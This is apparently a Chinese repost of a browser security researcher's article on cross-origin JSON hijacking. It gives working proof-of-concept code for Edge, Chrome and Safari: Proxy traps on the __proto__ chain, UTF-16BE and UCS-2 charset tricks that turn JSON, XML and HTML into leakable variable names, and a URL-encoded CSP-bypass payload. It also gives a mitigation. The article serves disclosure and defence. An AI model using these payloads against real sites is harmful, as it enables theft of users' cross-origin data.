现代Web中的JSON劫持

WEB前端开发社区 1周前

Benjamin Dumke-von der Ehe发现了一个有趣的跨域窃取数据的方法。他使用JS proxies(JS代理)创建了一个可以窃取未定义的JavaScript变量的handler(处理器)。这个问题似乎在Firefox中被修复了,但是我发现了一个新的攻击Edge的方法。虽然Edge似乎不允许对window.__proto__赋值, 但他们没有考虑Object.setPrototypeOf。使用这种方法,我们可以使用代理化的__proto__来覆盖__proto__的属性。像这样:

<script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{ has:function(target,name){  alert(name); }}));</script><script src="external-script-with-undefined-variable"></script><!-- script contains: stealme -->

在 Edge 上窃取未定义变量的 PoC

如果你的脚本中有包含stealme的跨域脚本,那么即便一个变量未被定义,你也会看到该变量的值弹出。

经过进一步的测试,我发现覆盖__proto __.__ proto__(Edge上的[object EventTargetPrototype])可以实现同样的效果。

<script>__proto__.__proto__=new Proxy(__proto__,{ has:function(target,name){  alert(name); }});</script><script src="external-script-with-undefined-variable"></script>

在Edge上窃取未定义变量的PoC(第二种方法)

好,所以我们可以窃取跨域数据,但除此之外我们还能做什么?所有主流浏览器都支持脚本中的字符集(charset)属性,我发现UTF-16BE字符集尤为有趣。UTF-16BE是一个多字节字符集,两个字节构成一个字符。例如,如果你的脚本以[”开始,[”将被视为0x5b22而不是0x5b 0x22。而0x5b22恰好是一个有效的JavaScript变量=],你能看出其中奥秘吗?

假设Web服务器的给我们的响应包含了一个数组字面量(array literal),并且我们可以控制其中的一部分。我们可以使用UTF-16BE字符集使该数组字面量变成未定义的JavaScript变量,并使用上述技术进行窃取。唯一需要注意的是,组合生成的字符必须形成有效的JavaScript变量。

比如,我们来看看下面的响应:

["supersecret","input here"]

为了窃取supersecret,我们需要插入一个NULL字符加两个a,由于某种原因,Edge并不将其视为UTF-16BE,除非它包含这些插入的字符。可能Edge会做某种字符集检测,或者也许它会截断响应,NULL之后的字符在Edge上不是有效的JavaScript变量。我不确定,但在我的测试中,似乎就是需要一个NULL并填充一些字符。参见下面的例子:

<!doctype HTML><script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{    has:function(target,name){        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));    }}));</script><script charset="UTF-16BE" src="external-script-with-array-literal"></script><!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

在Edge上窃取JSON feeds(馈送)的PoC

所以我们像之前一样代理化__proto__属性,并且使用UTF-16BE脚本,服务器响应中的数组字面量的第二个位置是NULL加两个a。接下来解码UTF-16BE编码的字符串,通过移8比特位可以获取到第一个字节,做按位与运算可以获取到第二个字节。结果是弹出["supersecret",",可以看出Edge似乎截断了NULL之后的响应。这个攻击局限性很大,因为许多字符组合后不会生产有效的JavaScript变量。但窃取少量数据可能还是有用的。

在 Chrome 上窃取 feeds

对于Chrome,情况变得更加糟糕。Chrome对包含外来字符集的脚本更加开明。你不需要为了让Chrome使用该字符集而去控制服务器响应。唯一的要求是,像之前一样,字符组合后的要能构成有效的JavaScript变量。为了利用这个“特性”,我们需要另外一个未定义的变量泄露。乍一看Chrome似乎不允许覆盖 __proto__,然而他们并没有考虑到__proto__的深度。

<script> __proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{    has:function f(target,name){        var str = f.caller.toString();        alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));    }});</script><script charset="UTF-16BE" src="external-script-with-array-literal"></script><!-- script contains the following response: ["supersecret","abc"] -->

注意:Chrome 54版本中已将该漏洞修复

在Chrome 53版本上窃取JSON feeds的PoC

我们在__proto__链上深入5层,并用代理覆盖之,接下来发生的事情很有趣,虽然name参数并没有包含我们的未定义变量,但是caller(调用者)包含了!它返回一个带有我们变量名的函数!很明显用了UTF-16BE编码,看起来像这样:

function 嬢獵灥牳散牥琢Ⱒ慢挢崊

啥?所以我们的变量在caller中泄漏了。你必须调用toString方法才能访问数据,否则Chrome会抛出异常。我尝试通过检查函数的constructor(构造器)来进一步利用这个漏洞,看看它是否返回不同的域(也许是Chrome扩展上下文)。当启用了Adblock Plus时,我使用这种方法看到一些扩展代码,但无法利用,因为这些代码看起来只是插入到当前文档中的代码。

在我的测试中,我也用了XML或HTML跨域数据,甚至使用了text / html Content-Type(内容类型),然后出现了一个非常严重的信息泄露漏洞。Chrome已经修复了此漏洞。

在 Safari 上窃取 feeds

我们也可以在最新版本的Safari中轻松做同样的事。我们只需要少用一个proto,并在代理中而不是caller中使用“name”。

<script>__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{        has:function f(target,name){            alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));        }});</script>

在Safari上窃取JSON feeds的PoC

经过进一步测试,我发现Safari和Edge一样,用__proto__.__proto__即可

在不使用JS proxies的情况下黑掉JSON feeds

我之前提到主流浏览器都支持UTF-16BE字符集,如何在没有JS proxies的情况下黑掉JSON feeds?首先,你需要控制一些数据,并且必须构建feed,以便生成有效的JavaScript变量。获取插入数据入之前的JSON feed的第一部分非常简单,只需输出一个UTF-16BE编码的字符串,该字符串赋给非ASCII变量一个特定的值,然后循环遍历该窗口并检查该值的存在,然后属性名将包含所有插入数据之前的JSON feed。代码如下所示:

=1337;for(i in window)if(window[i]===1337)alert(i)

然后将该代码编码为UTF-16BE字符串,所以我们实际得到的是代码而不是非ASCII变量。实际上,这就是用NULL填充每个字符。要获取注入字符串之后的字符,只需使用增量运算符,并将编码字符串置于窗口属性之后。然后我们调用setTimeout并再次循环遍历窗口,但这次检查NaN (Not a Number),就能找到我们的编码字符串的变量名。看下面:

setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}}})catch(e){})));++window.a

我把代码放在try catch里面,因为在检查isNaN时IE的window.external会抛出异常。全部的JSON feed如下:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.","UTF-16BE")?>a":"dasfdasdf"}

不用代理黑掉JSON  feeds的PoC

绕过CSP (Content Security Policy,内容安全策略)

你可能已经注意到,转换为UTF-16BE 的字符串也会将新行转换为非ASCII变量,这样做甚至可能绕过CSP!HTML文档将被视为一个JavaScript变量。我们所要做的就是插入一个带UTF-16BE字符集的脚本,该脚本含有编码过的赋值和payload(有效载荷),后面跟着注释。这将绕过只允许脚本引用同域资源(大多数的策略)的CSP策略。

HTML文档如下:

<head><title>Test</title><?phpecho $_GET['x'];?></head><body></body></html>

注意在doctype之后没有新行,如此构造HTML以生成有效的JavaScript,插入点之后的字符不重要,因为我们在后面插了一个单行JavaScript注释,并且新行也会被转换。请注意,在文档中没有声明字符集,因为meta标签属性和引号会破坏JavaScript。该payload看起来如下(注意,为了构造一个有效的变量,tab是必须的):

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>

注意:新版本的PHP已将此修补,新版本的PHP默认对于text/html Content-Type使用UTF-8字符集,从而防止攻击。然而,我在实验中简单地在JSON响应中添加了一个空白的字符集,发现此方法依然奏效。
使用UTF-16BE绕过CSP的PoC

其他字符集

我fuzz(模糊测试)了每个浏览器和字符集。Fuzz Edge没用,因为如前所述,Edge会做某种字符集检测,如果文档中没有特定字符,就不会使用我们需要的字符集。Chrome非常适合测试,尤其是因为一些开发工具可以让你使用正则表达式过滤控制台的结果。我发现UCS-2字符集允许你将XML数据导入为JavaScript变量,但它比UTF-16BE更难搞。后来我还是设法得到了以下XML,然后正确导入Chrome。

<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i inwindow)if(window[i]===1337)alert(i)setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeofwindow[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>

以上方法在Chrome中已失效,但它仍然可以作为一个例子。

UTF-16和UTF-16LE看起来也有用,因为脚本输出看起来像一个JavaScript变量,但是当包含doctype,XML或JSON字符串时,会出现无效的语法错误。Safari也一些有趣的结果,但在我的测试中,我无法生成有效的JavaScript。这也许值得进一步探索,但是fuzz有难度,因为为了产生有效的测试,你需要用字符集编码你测试的字符。我确信浏览器厂商能够更有效地进行测试。

CSS

你可能会认为该技术可以应用于CSS,理论上应该可以,因为任何HTML都将被转换为非ASCII的无效的CSS选择器,但实际上浏览器似乎会先查看文档中是否有doctype,然后再用特定的字符集解析CSS,并且会忽略样式表,这就会导致使自插入样式表失败。Edge,Firefox和IE在标准模式下似乎会检查MIME类型,Chrome说样式表会被解析,但至少在我的测试中,好像并不会。

解决方法

为防止字符集攻击,可在HTTP Content-Type中声明字符集,比如UTF-8。如果在Content-Type头中没有设置,PHP 5.6会默认声明UTF-8字符集来防止攻击。

结论

Edge,Safari和Chrome包含可以跨域读取未声明变量的漏洞。你可以使用不同的字符集绕过CSP并窃取脚本数据。即使不使用代理,如果你可以控制JSON响应的话也可以窃取数据。

更新

我在伦敦和曼切斯特举办的OWASP会议上就此主题作了演讲。演讲和幻灯片连接如下
伦敦OWASP会议演讲视频
伦敦OWASP会议演讲幻灯片

更新二

在和@1lastBr3ath讨论窃取多个未定义变量后,他给了我一个Takeshi Terada'的文章,文章里有一段代码示例,可以攻击早些已修复版本的Firefox。改代码示例展示了使用get方法窃取多个未定义变量。该get方法用一个值定义所有未定义变量,从而可以窃取数据。Google和Apple已修复此漏洞,但是在Edge上依然有效。
代码如下:

__proto__.__proto__ = new Proxy(__proto__,{ has:function(target,name){        alert(name);        return true; }, get: function(){ return 1}//get trap makes all undefined variables defined});

声明:

本文于网络整理,版权归原作者所有,如来源信息有误或侵犯权益,请联系我们删除或授权事宜。

(0)

相关推荐